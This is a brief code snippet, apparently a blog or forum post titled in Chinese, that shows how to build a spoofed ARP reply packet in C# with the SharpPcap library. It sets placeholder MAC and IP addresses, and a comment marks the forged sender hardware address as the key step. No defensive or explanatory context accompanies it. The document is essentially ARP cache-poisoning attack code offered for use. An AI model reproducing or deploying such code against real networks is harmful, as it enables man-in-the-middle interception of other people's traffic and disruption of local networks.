Sharppcap发送ARP欺骗包

            int iLen = EthernetFields_Fields.ETH_HEADER_LEN;
            byte[] b = new byte[60];

            ARPPacket arp = new ARPPacket(iLen, b);
            arp.EthernetProtocol = EthernetPacket.EtherType.ARP;
          
            arp.ARPHwLength = 6;
            arp.ARPHwType = ARPFields_Fields.ARP_ETH_ADDR_CODE;
            arp.ARPProtocolLength = 4;
            arp.ARPProtocolType = ARPFields_Fields.ARP_IP_ADDR_CODE;
            //目标主机MAC地址
            arp.DestinationHwAddress = PhysicalAddress.Parse("yyyy");
            //发包主机MAC地址
            arp.SourceHwAddress = PhysicalAddress.Parse("xxxxx");
            arp.EthernetProtocol = EthernetPacket.EtherType.ARP;
            //要伪造的地址，关键是这个地方
            arp.ARPSenderHwAddress = PhysicalAddress.Parse("cccc");
            arp.ARPSenderProtoAddress = IPAddress.Parse("IP地址");
            //目标地址
            arp.ARPTargetHwAddress = PhysicalAddress.Parse("yyyy");
            arp.ARPTargetProtoAddress = IPAddress.Parse("IP");
            //回复包
            arp.ARPOperation = ARPFields_Fields.ARP_OP_REP_CODE;